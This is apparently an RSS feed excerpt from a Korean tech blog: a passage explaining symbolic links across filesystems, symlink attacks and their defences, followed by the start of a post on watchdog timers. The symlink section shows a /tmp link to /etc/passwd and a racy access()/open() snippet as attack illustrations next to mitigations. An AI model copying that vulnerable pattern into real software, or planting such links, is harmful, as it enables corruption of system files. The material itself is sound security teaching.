<li><strong>링크 저장 방식</strong>  </li>
</ul>
<p>짧은 경로(60바이트 이하)는 inode의 블록 포인터 공간에 직접 저장된다(<strong>fast symlink</strong>).<br>긴 경로는 별도의 데이터 블록에 저장된다(<strong>slow symlink</strong>).</p>
<ul>
<li><strong>파일 유형 표시</strong>  </li>
</ul>
<p><code>ls -l</code> 명령 시 <code>l</code>로 표시되며, 일반 파일이나 디렉토리와 구분된다.</p>
<ul>
<li><strong>링크는 파일 시스템 객체</strong>  </li>
</ul>
<p>따라서 파일 시스템 수준에서의 퍼미션, 타임스탬프 등을 가진다. 단, 링크된 대상이 아닌 링크 자체에 대한 속성이다.</p>
<h4 id="2-windows-ntfs-파일-시스템">2) Windows NTFS 파일 시스템</h4>
<p>NTFS는 Linux의 심볼릭 링크와 유사하지만 구조와 사용법에서 중요한 차이가 존재한다.</p>
<h5 id="심볼릭-링크와-정션junction">심볼릭 링크와 정션(Junction)</h5>
<p>Windows는 <code>symlink</code> 외에도 <code>junction</code>, <code>hard link</code>, <code>reparse point</code> 등의 다양한 링크 형태를 지원한다. 이 중 <strong>심볼릭 링크(symlink)</strong> 는 Windows Vista 이후부터 공식 지원되었다.</p>
<h5 id="생성-방법">생성 방법</h5>
<p>PowerShell 또는 명령 프롬프트에서 <code>mklink</code> 명령을 사용:</p>
<ul>
<li><code>mklink target source</code> → 파일용 symlink</li>
<li><code>mklink /D target source</code> → 디렉토리용 symlink</li>
</ul>
<h5 id="보안-제한">보안 제한</h5>
<p>Windows에서는 일반 사용자에게 symlink 생성을 제한한다. 관리자 권한이 필요하거나, 그룹 정책을 조정해야 사용할 수 있다.</p>
<h5 id="심볼릭-링크와-하드-링크의-구분">심볼릭 링크와 하드 링크의 구분</h5>
<ul>
<li>하드 링크: 동일한 파일 시스템 내 동일 inode에 대한 별칭</li>
<li>심볼릭 링크: NTFS의 <code>Reparse Point</code> 구조체에 의해 구현되며, 외부 드라이브도 참조 가능</li>
</ul>
<h5 id="파일-탐색기-상의-표현">파일 탐색기 상의 표현</h5>
<p>링크임을 명확히 보여주지 않으며, 탐색기에서는 일반 폴더처럼 보일 수 있어 오해의 여지가 있다.</p>
<h4 id="3-기타-파일-시스템-exfat-fat32-xfs-btrfs-등">3) 기타 파일 시스템 (exFAT, FAT32, XFS, Btrfs 등)</h4>
<ul>
<li><strong>FAT32 / exFAT</strong>  </li>
</ul>
<p>이들 파일 시스템은 심볼릭 링크를 자체적으로 지원하지 않는다.<br>NTFS 환경에서만 가능한 symlink는 exFAT, FAT32 등에서는 사용할 수 없다.</p>
<ul>
<li><strong>XFS, Btrfs</strong>  </li>
</ul>
<p>POSIX 호환 파일 시스템으로, Linux에서 심볼릭 링크를 완전히 지원한다.<br>Btrfs의 경우 스냅샷 기능과 결합되어 링크 무결성에 주의가 필요하다.</p>
<h3 id="42-마운트-경계와-링크의-유효성">4.2 마운트 경계와 링크의 유효성</h3>
<p>심볼릭 링크는 <strong>파일 시스템 계층을 넘어 참조할 수 있다는 점</strong>에서 매우 유연한 구조이나, 이로 인해 <strong>마운트 경계</strong>와 관련된 몇 가지 복잡성이 발생한다.</p>
<h4 id="1-마운트-경계란">1) 마운트 경계란?</h4>
<ul>
<li>리눅스/유닉스 시스템은 여러 파일 시스템을 <code>/mnt</code>, <code>/home</code>, <code>/var</code> 등 서로 다른 디렉토리 경로에 <strong>마운트</strong>하여 사용한다.</li>
<li>이때 심볼릭 링크가 <strong>다른 파일 시스템으로 연결되는 경우</strong>, 이를 <strong>마운트 경계를 넘는 링크</strong>라고 한다.</li>
</ul>
<h4 id="2-마운트-경계를-넘는-링크의-문제">2) 마운트 경계를 넘는 링크의 문제</h4>
<ul>
<li><strong>링크 대상이 존재하지 않을 수 있음</strong>  </li>
</ul>
<p>예: <code>/data/file1</code>이 <code>/data</code>가 마운트 되기 전에는 존재하지 않는 경로로 인식됨</p>
<ul>
<li><strong><code>chroot</code> 또는 컨테이너 환경에서의 링크 무력화</strong>  </li>
</ul>
<p>심볼릭 링크가 루트 경로(<code>/</code>)를 기준으로 작성된 경우, 격리된 환경에서는 대상 파일이 존재하지 않게 된다. 예: <code>/etc/passwd</code>를 가리키는 링크는 <code>chroot /var/jail</code> 환경에서는 의미 없음</p>
<ul>
<li><strong>보안 위험 요소</strong>  </li>
</ul>
<p>심볼릭 링크를 통해 루트 파일 시스템 외부 경로에 접근할 수 있기 때문에, <code>tmp</code> 디렉토리 등에 생성된 링크는 심볼릭 링크 공격(Symlink Attack) 의 경로가 될 수 있음.</p>
<h4 id="3-마운트-옵션과-symlink-동작-제한">3) 마운트 옵션과 symlink 동작 제한</h4>
<ul>
<li>마운트 시 <code>nosymfollow</code> 옵션을 지정하면, 해당 파일 시스템 내의 심볼릭 링크를 해석하지 않도록 제한할 수 있다.</li>
</ul>
<pre><code class="language-bash">mount -o nosymfollow /dev/sdb1 /mnt/data</code></pre>
<ul>
<li>보안성 강화를 위해 일부 시스템에서는 <code>/tmp</code> 디렉토리 등을 <code>nosymfollow</code>로 마운트한다.</li>
<li>마찬가지로 <code>AppArmor</code>, <code>SELinux</code> 등의 보안 정책에서도 심볼릭 링크 추적을 제한하는 정책이 존재한다.</li>
</ul>
<h4 id="4-복잡한-링크-환경에서의-진단-명령">4) 복잡한 링크 환경에서의 진단 명령</h4>
<ul>
<li><code>readlink -f</code>: 심볼릭 링크를 따라가 최종 경로 출력</li>
<li><code>realpath</code>: 전체 경로를 정규화</li>
<li><code>mountpoint</code>: 특정 디렉토리가 마운트 지점인지 확인</li>
</ul>
<pre><code class="language-bash">realpath /mnt/data/linkfile
mountpoint -q /mnt/data &amp;&amp; echo &quot;Mounted&quot;</code></pre>
<h3 id="종합-정리">종합 정리</h3>
<table>
<thead>
<tr>
<th><strong><em>항목</em></strong></th>
<th><strong><em>ext4 (Linux)</em></strong></th>
<th><strong><em>NTFS (Windows)</em></strong></th>
<th><strong><em>FAT32 / exFAT</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>심볼릭 링크 지원</td>
<td>O</td>
<td>O (Vista+)</td>
<td>X</td>
</tr>
<tr>
<td>링크 표현 방식</td>
<td>inode + 경로 문자열</td>
<td>Reparse Point</td>
<td>-</td>
</tr>
<tr>
<td>디렉토리 링크 지원</td>
<td>O</td>
<td>O (<code>mklink /D</code>)</td>
<td>X</td>
</tr>
<tr>
<td>루트/마운트 경계 가능</td>
<td>O</td>
<td>O</td>
<td>-</td>
</tr>
<tr>
<td>보안 제약</td>
<td>낮음 (권한 기반)</td>
<td>관리자 권한 필요</td>
<td>-</td>
</tr>
</tbody></table>
<hr>
<h2 id="5-보안과-심볼릭-링크">5. 보안과 심볼릭 링크</h2>
<h3 id="51-심볼릭-링크-공격symlink-attack의-개념">5.1 심볼릭 링크 공격(Symlink Attack)의 개념</h3>
<p>심볼릭 링크(Symlink)는 본래 경량화된 파일 참조 방식으로 설계되었으나, 경로 해석 과정에서의 취약성을 악용한 다양한 공격 기법들이 존재한다. 이를 통칭하여 <strong>심볼릭 링크 공격(Symlink Attack)</strong> 이라 한다. 이러한 공격은 주로 <strong>임시 파일</strong>, <strong>권한 상이한 프로세스 간의 파일 처리</strong>, <strong>경로 검증 미비</strong> 상황에서 발생한다.</p>
<h4 id="개요">개요</h4>
<ul>
<li>심볼릭 링크 공격은 <strong>신뢰된 애플리케이션이 심볼릭 링크를 통해 악의적인 경로를 참조하도록 유도</strong>하는 방식이다.</li>
<li>이를 통해 공격자는 권한 상승, 민감 정보 접근, 파일 훼손 등의 결과를 유도할 수 있다.</li>
<li>주로 <strong>루트 권한으로 실행되는 프로그램(root-owned process)</strong> 을 대상으로 한다.</li>
</ul>
<h4 id="전형적-시나리오">전형적 시나리오</h4>
<ol>
<li>공격자가 <code>/tmp</code> 디렉토리에 악의적인 심볼릭 링크 <code>tempfile</code> 생성</li>
</ol>
<pre><code class="language-bash">ln -s /etc/passwd /tmp/tempfile</code></pre>
<ol start="2">
<li>루트 권한 프로그램이 <code>/tmp/tempfile</code> 을 임시 저장소로 쓰기</li>
<li><code>/etc/passwd</code> 파일이 변경됨 → 시스템 치명적 훼손</li>
</ol>
<p>이는 심볼릭 링크의 “투명한 경로 해석”이라는 특성이 보안 취약점으로 전이되는 전형적인 사례이다.</p>
<h3 id="52-취약점-유형과-대응-방안-toctou-권한-상승-등">5.2 취약점 유형과 대응 방안 (TOCTOU, 권한 상승 등)</h3>
<p>심볼릭 링크와 관련된 보안 취약점은 그 자체로 발생하기보다는, <strong>다른 요소와의 결합</strong> 또는 <strong>설계 미숙</strong>으로 인해 시스템 전체의 보안성을 저하시킨다. 아래는 주요 취약점 유형과 대응 방안을 정리한 것이다.</p>
<h4 id="1-toctoutime-of-check-to-time-of-use">1) TOCTOU(Time Of Check To Time Of Use)</h4>
<p><strong>TOCTOU</strong>는 &quot;검사 시점과 사용 시점의 불일치&quot;에 의한 취약점이다. 이는 시스템이 <strong>경로의 유효성을 확인한 후</strong> 그 경로를 <strong>다시 사용하기까지의 시간 사이에 링크 대상이 변경</strong>되는 경우를 의미한다.</p>
<h5 id="예시">예시</h5>
<pre><code class="language-c">// check
if (access(&quot;/tmp/myfile&quot;, W_OK) == 0) {
    // use
    fd = open(&quot;/tmp/myfile&quot;, O_WRONLY);
}</code></pre>
<p>위 코드에서, <code>access()</code> 호출과 <code>open()</code> 사이에 <code>/tmp/myfile</code>이 심볼릭 링크로 변조되면, 공격자는 공격 파일을 열게 만들 수 있다.</p>
<h5 id="대응-방안">대응 방안</h5>
<ul>
<li><strong>O_NOFOLLOW</strong> 플래그 사용: 심볼릭 링크를 따라가지 않도록 강제</li>
<li><strong>openat() + O_PATH + fstatat()</strong> 조합으로 <strong>FD 기반 접근</strong> 사용</li>
<li><strong>권한이 중요한 작업은 심볼릭 링크를 무시하거나 안전한 디렉토리에서만 수행</strong></li>
</ul>
<h4 id="2-권한-상승-공격privilege-escalation">2) 권한 상승 공격(Privilege Escalation)</h4>
<p>심볼릭 링크가 루트 권한의 프로그램과 사용자 권한이 혼합된 환경에서 사용될 경우, 악의적인 사용자는 의도치 않게 <strong>고권한 리소스에 접근하거나 수정</strong>할 수 있다.</p>
<h5 id="취약-환경">취약 환경</h5>
<ul>
<li><code>/tmp</code>, <code>/var/tmp</code>, <code>/run</code> 등 <strong>공용 쓰기 디렉토리</strong> 사용</li>
<li>루트 권한 프로그램이 외부 입력을 검증 없이 사용</li>
<li>링크 대상 경로에 대한 <strong>권한 검사 미비</strong></li>
</ul>
<h5 id="대응-방안-1">대응 방안</h5>
<ul>
<li>임시 파일 생성 시 <code>O_EXCL</code>, <code>O_CREAT</code>, <code>O_NOFOLLOW</code> 조합 사용:</li>
</ul>
<pre><code class="language-c">fd = open(&quot;/tmp/myfile&quot;, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);</code></pre>
<ul>
<li><code>mkstemp()</code>, <code>mkdtemp()</code> 등의 안전한 함수 사용 권장</li>
<li>사용자 입력 기반 경로는 <strong>절대 심볼릭 링크를 따라가지 않도록 설계</strong></li>
<li><strong>시스템 호출 시 파일 디스크립터 기반으로 처리하도록 리팩토링</strong></li>
</ul>
<h4 id="3-루트-디렉토리-탈출-공격directory-traversal-with-symlink">3) 루트 디렉토리 탈출 공격(Directory Traversal with Symlink)</h4>
<p>심볼릭 링크는 <code>../</code> 경로 해석과 결합될 경우, 경로 제한 우회의 수단이 된다. 이를 통해 제한된 디렉토리에서 시스템 전체를 탐색하거나 접근하는 것이 가능하다.</p>
<h5 id="대응-방안-2">대응 방안</h5>
<ul>
<li>chroot 또는 sandbox 환경에서는 <strong>realpath()</strong> 로 경로 정규화 후 내부 경로인지 판단</li>
<li>AppArmor, SELinux 정책을 통해 링크 추적 제한</li>
<li>컨테이너 내부에서는 <code>readlink</code>, <code>stat</code> 등을 통한 <strong>철저한 링크 대상 검증</strong></li>
</ul>
<h4 id="4-탐지-및-대응-기법-요약">4) 탐지 및 대응 기법 요약</h4>
<table>
<thead>
<tr>
<th>대응 방안</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>O_NOFOLLOW</code></td>
<td>심볼릭 링크를 무시하고 open 실패 유도</td>
</tr>
<tr>
<td><code>fstat()</code> / <code>lstat()</code></td>
<td>파일 종류 식별 및 실제 파일 검사</td>
</tr>
<tr>
<td><code>realpath()</code></td>
<td>링크 해석 후 절대경로 확인</td>
</tr>
<tr>
<td><code>/tmp</code> 쓰기 제한</td>
<td>Sticky bit 설정 및 디렉토리 권한 강화</td>
</tr>
<tr>
<td>AppArmor / SELinux</td>
<td>링크 추적 제한 정책 적용 가능</td>
</tr>
<tr>
<td><code>mkstemp()</code> 등 안전한 함수 사용</td>
<td>링크 회피와 경쟁 조건 방지에 효과적</td>
</tr>
</tbody></table>
<hr>
<h2 id="6-고급-활용-및-디버깅-방법">6. 고급 활용 및 디버깅 방법</h2>
<h3 id="61-readlink-realpath-stat-등의-진단-명령">6.1 <code>readlink</code>, <code>realpath</code>, <code>stat</code> 등의 진단 명령</h3>
<p>심볼릭 링크(Symlink)는 파일 시스템에서 경로를 간접적으로 참조하는 구조이기 때문에, 링크의 <strong>대상 경로 확인</strong>, <strong>링크 유효성 검사</strong>, <strong>속성 점검</strong> 등의 작업이 필수적이다. 이때 사용되는 주요 명령어로는 <code>readlink</code>, <code>realpath</code>, <code>stat</code>, <code>lstat</code> 등이 있으며, 각각의 기능과 활용 목적은 다음과 같다.</p>
<h4 id="1-readlink">1) <code>readlink</code></h4>
<ul>
<li>심볼릭 링크가 <strong>가리키는 대상 경로</strong>를 출력한다.</li>
<li>심볼릭 링크 자체를 대상으로 하며, 해당 링크가 무엇을 참조하는지만 보여준다.</li>
<li>링크 대상이 존재하지 않아도 출력은 가능하다.</li>
</ul>
<pre><code class="language-bash">$ ln -s /etc/passwd mylink
$ readlink mylink
/etc/passwd</code></pre>
<p><code>readlink</code>는 <strong>링크의 경로 정보만 출력</strong>하며, 대상 파일의 존재 여부나 실제 경로 해석은 수행하지 않는다.</p>
<h4 id="2-realpath">2) <code>realpath</code></h4>
<ul>
<li>심볼릭 링크를 포함한 모든 경로 구성 요소를 해석하여 <strong>실제 절대 경로</strong>를 출력한다.</li>
<li>링크가 가리키는 경로가 존재해야 하며, <strong>모든 심볼릭 링크를 해석</strong>하여 최종 경로를 확인할 수 있다.</li>
</ul>
<pre><code class="language-bash">$ realpath mylink
/etc/passwd</code></pre>
<ul>
<li>상대 경로의 해석, 경로 정규화, 링크 체인의 중첩 구조 확인에 유용하다.</li>
<li>보안 목적으로도 사용되며, 파일 접근 전 경로 검증에 활용된다.</li>
</ul>
<h4 id="3-stat와-lstat">3) <code>stat</code>와 <code>lstat</code></h4>
<ul>
<li><code>stat</code>: 파일이나 심볼릭 링크가 가리키는 <strong>실제 파일의 메타데이터</strong>를 보여준다.</li>
<li><code>lstat</code>: 심볼릭 링크 <strong>자체의 메타데이터</strong>를 보여준다.</li>
</ul>
<pre><code class="language-bash">$ stat mylink
  File: mylink -&gt; /etc/passwd
  Size: 11             Blocks: 0          IO Block: 4096   symbolic link
...

$ lstat mylink
  File: mylink
  Size: 11             Blocks: 0          IO Block: 4096   symbolic link
...</code></pre>
<ul>
<li><code>lstat</code>은 심볼릭 링크의 <strong>생성 시간, 소유자, 권한, 링크 크기</strong> 등의 정보를 확인할 수 있어 디버깅 시 유용하다.</li>
<li>둘의 차이는 <strong>링크를 따라가느냐 여부</strong>이다.</li>
</ul>
<h3 id="62-시스템-관리에서의-응용-및-제한-사항">6.2 시스템 관리에서의 응용 및 제한 사항</h3>
<p>심볼릭 링크는 시스템 관리와 유지보수에서 매우 중요한 도구이지만, <strong>신중한 관리가 필요한 양날의 검</strong>이다. 다음은 실무에서의 고급 활용과 그에 따르는 제약사항들이다.</p>
<h4 id="1-응용-사례">1) 응용 사례</h4>
<ul>
<li><p><strong>버전 관리 및 디렉토리 추상화</strong></p>
<ul>
<li><code>/usr/bin/python</code>을 <code>/usr/bin/python3.11</code>로 링크하여 특정 버전을 기본으로 설정</li>
<li>시스템의 복잡도를 줄이고, 버전 간 호환성 유지에 용이하다</li>
</ul>
</li>
<li><p><strong>공통 설정 파일 공유</strong></p>
<ul>
<li>여러 프로그램이 사용하는 공통 설정 파일을 하나의 원본으로 관리하고, 각 위치에서 심볼릭 링크로 참조</li>
<li><code>/etc/nginx/sites-enabled/</code> → <code>/etc/nginx/sites-available/</code> 구조 등</li>
</ul>
</li>
<li><p><strong>루트 경로 이외 위치에 있는 리소스 연결</strong></p>
<ul>
<li><code>/home/user/webapp/static</code> → <code>/mnt/storage/static-resources</code> 처럼 외부 저장소 자원을 내부 경로로 매핑</li>
</ul>
</li>
<li><p><strong>마운트된 파일 시스템 간 연결</strong></p>
<ul>
<li>ext4에서 다른 파일 시스템(NFS, FUSE 등)에 접근 가능</li>
</ul>
</li>
</ul>
<hr>
<h4 id="2-제한-사항-및-주의점">2) 제한 사항 및 주의점</h4>
<ul>
<li><p><strong>권한 해석 혼동 가능성</strong></p>
<ul>
<li>링크된 파일의 권한이 링크 자체의 권한과 무관하므로, <code>chmod</code>가 의도와 다르게 작동할 수 있음</li>
<li>예: <code>chmod 600 symlink</code>는 링크 자체에만 적용되며, 대상에는 적용되지 않음</li>
</ul>
</li>
<li><p><strong>보안성</strong></p>
<ul>
<li>앞서 서술한대로 TOCTOU, 권한 상승 등 링크를 통한 우회 공격 위험 존재</li>
<li>루트 프로세스는 <strong>공용 디렉토리에서의 링크 사용을 피하거나 제한할 것</strong></li>
</ul>
</li>
<li><p><strong>링크 유효성 문제</strong></p>
<ul>
<li>대상 경로가 삭제되거나 마운트 해제되면 <strong>dangling symlink</strong>가 발생</li>
<li>파일 관리 도구에서 이러한 링크를 탐지하여 정리하지 않으면 시스템 정합성 저하 가능</li>
</ul>
</li>
<li><p><strong>백업/복원 시의 문제</strong></p>
<ul>
<li>일부 백업 도구는 링크를 <strong>복사본으로 대체</strong>하거나, 링크 자체만 백업하여 <strong>대상이 누락</strong>되기도 함</li>
<li><code>rsync -a</code>와 같이 링크 보존 옵션(<code>-l</code>, <code>-a</code>)을 정확히 이해하고 사용해야 함</li>
</ul>
</li>
</ul>
<h4 id="3-디버깅관리-시-활용-스크립트-예">3) 디버깅/관리 시 활용 스크립트 예</h4>
<h5 id="dangling-symlink-탐지">dangling symlink 탐지</h5>
<pre><code class="language-bash">find . -xtype l</code></pre>
<h5 id="모든-심볼릭-링크-목록화">모든 심볼릭 링크 목록화</h5>
<pre><code class="language-bash">find / -type l -ls 2&gt;/dev/null</code></pre>
<h5 id="링크-대상이-유효한지-확인">링크 대상이 유효한지 확인</h5>
<pre><code class="language-bash">[ -e &quot;$(readlink symlink)&quot; ] &amp;&amp; echo &quot;Valid&quot; || echo &quot;Broken&quot;</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Watchdog]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Watchdog</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Watchdog</guid>
            <pubDate>Tue, 29 Apr 2025 14:51:47 GMT</pubDate>
            <description><![CDATA[<h1 id="watchdog-timerwdt">Watchdog Timer(WDT)</h1>
<blockquote>
<p>electronic or software timer that is used to detect and recover from computer malfunctions</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/ab11dee3-0102-4a41-847f-5672047b34e6/image.png" alt=""></p>
<p>오늘의 주제는 워치독이다. 저번 IoT 기기 분석 및 해킹 프로젝트에서 기기가 웹서버를 구동시키는 과정을 분석하던 중 처음으로 파악했던 요소다. 오늘은 이 주제에 대해 깊이 알아보자.</p>
<hr>
<h2 id="1-watchdog-개요-및-배경">1. Watchdog 개요 및 배경</h2>
<h3 id="11-watchdog의-정의-및-동작-목적">1.1 Watchdog의 정의 및 동작 목적</h3>
<p>Watchdog은 시스템의 오작동 또는 응답 정지(freeze) 상황을 자동으로 감지하고 복구를 시도하는 하드웨어 혹은 소프트웨어 기반의 감시 메커니즘이다. 주로 <strong>타이머 기반 감시 장치</strong>로 구현되며, 시스템이 정상 동작 중임을 정기적으로 확인하는 &quot;하트비트(heartbeat)&quot; 방식으로 동작한다. 이 타이머는 사전에 설정된 시간 안에 특정 신호(보통 “킥” 또는 “패팅”이라고 부름)를 받지 못하면, 시스템이 정지되었거나 비정상 상태라고 간주하고 자동으로 <strong>재시작(reboot)</strong> 또는 <strong>복구 루틴 실행</strong> 등의 조치를 수행한다.</p>
<p>Watchdog의 주된 목적은 <strong>시스템의 자율 회복(self-recovery)</strong> 능력을 부여하여, 다음과 같은 상황에서 시스템의 가용성과 안정성을 보장하는 것이다.</p>
<ul>
<li>임베디드 시스템 또는 IoT 디바이스에서 사용자의 개입 없이 자동 복구</li>
<li>무정지 운용이 필요한 시스템(예: 산업 자동화, 의료기기, 통신 장비 등)의 장애 복원</li>
<li>운영 체제 커널 패닉, 무한 루프, 데드락 등의 감지 및 대응</li>
</ul>
<p>Watchdog은 특히 사람이 상시로 관여할 수 없는 환경에서 필수적인 복구 수단으로 간주되며, <strong>Fail-Safe 설계 원칙</strong>의 대표적인 예시로 꼽힌다.</p>
<h3 id="12-watchdog이-필요하게-된-배경과-시스템-신뢰성-문제">1.2 Watchdog이 필요하게 된 배경과 시스템 신뢰성 문제</h3>
<p>정보화 기술의 발전과 함께 소형화, 자동화된 디지털 장치들이 일상화되면서, 시스템이 <strong>장시간 무정지로 안정적으로 동작해야 하는 요구</strong>가 강해졌다. 이에 따라 다음과 같은 문제가 제기되었다.</p>
<ul>
<li><strong>소프트웨어 오류 및 메모리 누수</strong>: 제한된 리소스를 가진 임베디드 환경에서는 메모리 누수, 예외 처리 실패, 스택 오버플로우 등으로 인해 시스템이 멈추는 현상이 빈번히 발생한다.</li>
<li><strong>하드웨어 신호 간섭 및 전기적 노이즈</strong>: 외부 환경에서의 간섭으로 인해 시스템 상태가 예기치 않게 변경되거나, 통신이 중단될 수 있다.</li>
<li><strong>사용자 부재 상황</strong>: 원격지 또는 무인 운용 장비는 사람이 수동으로 재부팅하거나 오류를 진단하기 어렵기 때문에, 자동 복구 체계가 필수적이다.</li>
</ul>
<p>이러한 환경적 제약과 <strong>시스템 신뢰성(reliability)</strong> 확보의 필요성은 Watchdog의 도입을 필연적으로 만들었다. 특히 <strong>하드 리얼타임 시스템</strong>이나 <strong>미션 크리티컬 시스템</strong>에서는 1초의 멈춤도 치명적일 수 있기 때문에, 시스템이 중단되지 않도록 감시하는 역할을 수행하는 Watchdog은 필수적이다.</p>
<h3 id="13-기본-구성-요소-및-기능">1.3 기본 구성 요소 및 기능</h3>
<p>전형적인 Watchdog 구성은 다음과 같은 요소로 이루어진다.</p>
<ul>
<li><strong>Watchdog Timer (WDT)</strong>  </li>
</ul>
<p>시스템 동작을 일정 간격으로 감시하는 핵심 모듈이다. 주어진 시간 안에 “킥” 신호를 받지 못하면 타임아웃(timeout)이 발생하고, 이후 사전 정의된 리셋 또는 복구 동작을 수행한다.</p>
<ul>
<li><strong>System Kick Signal Generator</strong>  </li>
</ul>
<p>응용 프로그램 혹은 운영체제 커널의 특정 루틴이 정기적으로 Watchdog Timer에 신호를 전송한다. 이 신호는 시스템이 정상적으로 동작 중임을 의미한다.</p>
<ul>
<li><strong>리셋 트리거 회로 또는 소프트웨어 인터럽트</strong>  </li>
</ul>
<p>Watchdog Timer가 타임아웃 상태에 진입하면 이 회로가 활성화되어, <strong>하드 리셋</strong> 또는 <strong>소프트웨어 인터럽트</strong>를 유발한다. 이 기능은 시스템을 다시 초기 상태로 복원하는 역할을 한다.</p>
<ul>
<li><strong>(선택) 로그 저장 및 복구 루틴</strong>  </li>
</ul>
<p>고급 Watchdog 구현에서는 시스템이 재시작되기 전에 현재 상태를 비휘발성 저장소에 기록하고, 복구 후 분석 또는 상태 복원을 위한 기반 데이터를 제공한다.</p>
<p>이러한 구조를 바탕으로, Watchdog은 <strong>정상 동작 보장, 오류 발생 시 자동 복구, 시스템 무정지 운용</strong>을 목표로 설계된다. 일부 시스템에서는 다중 Watchdog 구성을 통해 계층별 감시와 고신뢰 복구 체계를 구현하기도 한다.</p>
<hr>
<h2 id="2-watchdog-동작-원리-및-구조">2. Watchdog 동작 원리 및 구조</h2>
<h3 id="21-타이머-기반-감시-메커니즘">2.1 타이머 기반 감시 메커니즘</h3>
<h4 id="211-타임아웃-구조-및-동작-흐름">2.1.1 타임아웃 구조 및 동작 흐름</h4>
<p>Watchdog은 기본적으로 <strong>카운트 다운 타이머 기반 감시 시스템</strong>이다. 시스템이 정상 동작하는 동안 주기적으로 타이머를 초기화(리셋)해주는 신호를 보낸다. 이 과정에서 동작 흐름은 다음과 같이 구성된다.</p>
<ol>
<li><p><strong>초기화(Initialization)</strong>: 시스템이 부팅될 때 Watchdog Timer가 설정되며, 일정 타임아웃 값이 주어진다.</p>
</li>
<li><p><strong>카운트 다운 시작</strong>: 설정된 시간부터 타이머는 역으로 카운트 다운을 시작한다.</p>
</li>
<li><p><strong>킥 신호 수신 여부 판단</strong>:</p>
<ul>
<li>타임아웃 이전에 &quot;킥&quot; 신호가 들어오면, 타이머는 재설정되고 정상 동작으로 간주된다.</li>
<li>타임아웃까지 신호가 들어오지 않으면, 시스템 정지 또는 이상 상태로 판단한다.</li>
</ul>
</li>
<li><p><strong>리셋 또는 복구 실행</strong>: Watchdog은 설정에 따라 시스템 하드 리셋, 소프트 리셋, 혹은 지정된 복구 루틴을 수행한다.</p>
</li>
</ol>
<p>이러한 구조는 <strong>Fail-Fast 전략</strong>을 구현하기 위한 것으로, 시스템이 비정상 상태에 빠졌을 때 즉각적인 조치가 가능하게 한다.</p>
<h4 id="212-킥kick-또는-패팅petting-신호-처리">2.1.2 &quot;킥(Kick)&quot; 또는 &quot;패팅(Petting)&quot; 신호 처리</h4>
<p>Watchdog은 시스템이 정상 동작 중임을 주기적으로 확인해야 한다. 이를 위해 소프트웨어에서 일정 주기로 Watchdog Timer에 신호를 보내는 작업을 수행하며, 이를 <strong>킥(Kick)</strong> 또는 <strong>패팅(Petting)</strong> 이라고 부른다. 이 용어는 “Watchdog을 달래어 타이머가 만료되지 않도록 한다”는 의미에서 유래했다.</p>
<ul>
<li><p>이 신호는 보통 <strong>I/O 레지스터</strong>에 특정 값을 쓰는 방식으로 구현되며, 일부 시스템에서는 메모리 맵된 레지스터 또는 특정 API 호출로 수행된다.</p>
</li>
<li><p>Watchdog 킥 로직은 반드시 시스템의 <strong>핵심 기능 수행 이후에만</strong> 호출되어야 한다. 이는 시스템이 단순히 살아있는 것이 아니라 <strong>정상적으로 기능하고 있는지</strong>를 확인하기 위함이다.</p>
</li>
<li><p>의도치 않게 무한 루프 내에서 킥만 수행하는 경우, 시스템이 고장났음에도 Watchdog이 이를 인지하지 못하는 문제가 생길 수 있다. 이를 방지하기 위해 <strong>복수 조건 확인</strong> 또는 <strong>헬스 체크 기반 킥 구조</strong>가 적용되기도 한다.</p>
</li>
</ul>
<h3 id="22-리셋복구-프로세스-설계">2.2 리셋/복구 프로세스 설계</h3>
<h4 id="221-하드-리셋-vs-소프트-리셋">2.2.1 하드 리셋 vs 소프트 리셋</h4>
<p>Watchdog이 타임아웃 시 수행할 수 있는 주요 조치는 크게 <strong>하드 리셋(Hard Reset)</strong> 과 <strong>소프트 리셋(Soft Reset)</strong> 으로 나뉜다.</p>
<ul>
<li><p><strong>하드 리셋</strong>: 전원 제어 회로나 마이크로컨트롤러 내부 회로를 이용하여 <strong>물리적인 재시작</strong>을 수행한다. 가장 일반적인 Watchdog 사용 방식으로, 하드웨어가 완전히 리셋되기 때문에 이전 상태가 모두 초기화된다.</p>
<ul>
<li>장점: 시스템을 완전히 초기 상태로 되돌릴 수 있음.</li>
<li>단점: 임시 데이터나 캐시 정보가 손실될 수 있음.</li>
</ul>
</li>
<li><p><strong>소프트 리셋</strong>: CPU나 OS의 제어를 통해 시스템을 <strong>논리적으로 재시작</strong>한다. 프로세스 종료, 커널 재시작, 특정 서비스 리로드 등의 방식으로 구성된다.</p>
<ul>
<li>장점: 더 세분화된 제어가 가능하며, 일부 상태 정보를 보존할 수 있음.</li>
<li>단점: 시스템 상태가 복구 불가능한 경우에는 효과가 없을 수 있음.</li>
</ul>
</li>
</ul>
<p>시스템에 따라 Watchdog은 두 방식 중 하나를 선택하거나, <strong>1차 소프트 리셋 → 실패 시 하드 리셋</strong>의 단계적 복구 전략을 취하기도 한다.</p>
<h4 id="222-정상-복구-절차와-데이터-보존-방안">2.2.2 정상 복구 절차와 데이터 보존 방안</h4>
<p>Watchdog에 의한 복구는 단순 재시작 이상의 절차를 포함해야 할 수 있다. 특히 <strong>데이터 무결성</strong>과 <strong>서비스 연속성</strong>이 중요한 경우, 다음과 같은 절차가 요구된다.</p>
<ul>
<li><p><strong>복구 전 로그 저장</strong>: Watchdog이 리셋을 수행하기 직전에 현재 상태(예: 레지스터, 메모리 스냅샷)를 비휘발성 메모리에 저장하는 기능.</p>
</li>
<li><p><strong>부팅 후 원인 분석 루틴 실행</strong>: 복구 후 시스템은 Watchdog 리셋의 사유를 분석하고, 문제 발생 지점을 진단할 수 있도록 설계되어야 한다.</p>
</li>
<li><p><strong>데이터 롤백 및 복구</strong>: 데이터베이스나 파일 시스템이 연관된 시스템에서는, <strong>저널링 파일 시스템</strong>이나 <strong>트랜잭션 기반 롤백</strong>을 통해 손상된 데이터를 최소화해야 한다.</p>
</li>
<li><p><strong>복구 루틴의 안정성 검증</strong>: Watchdog이 반복적으로 리셋을 수행할 경우, 루프에 빠질 수 있으므로 이를 탐지하고 <strong>루프 브레이커(failure breaker)</strong> 로직을 적용하기도 한다.</p>
</li>
</ul>
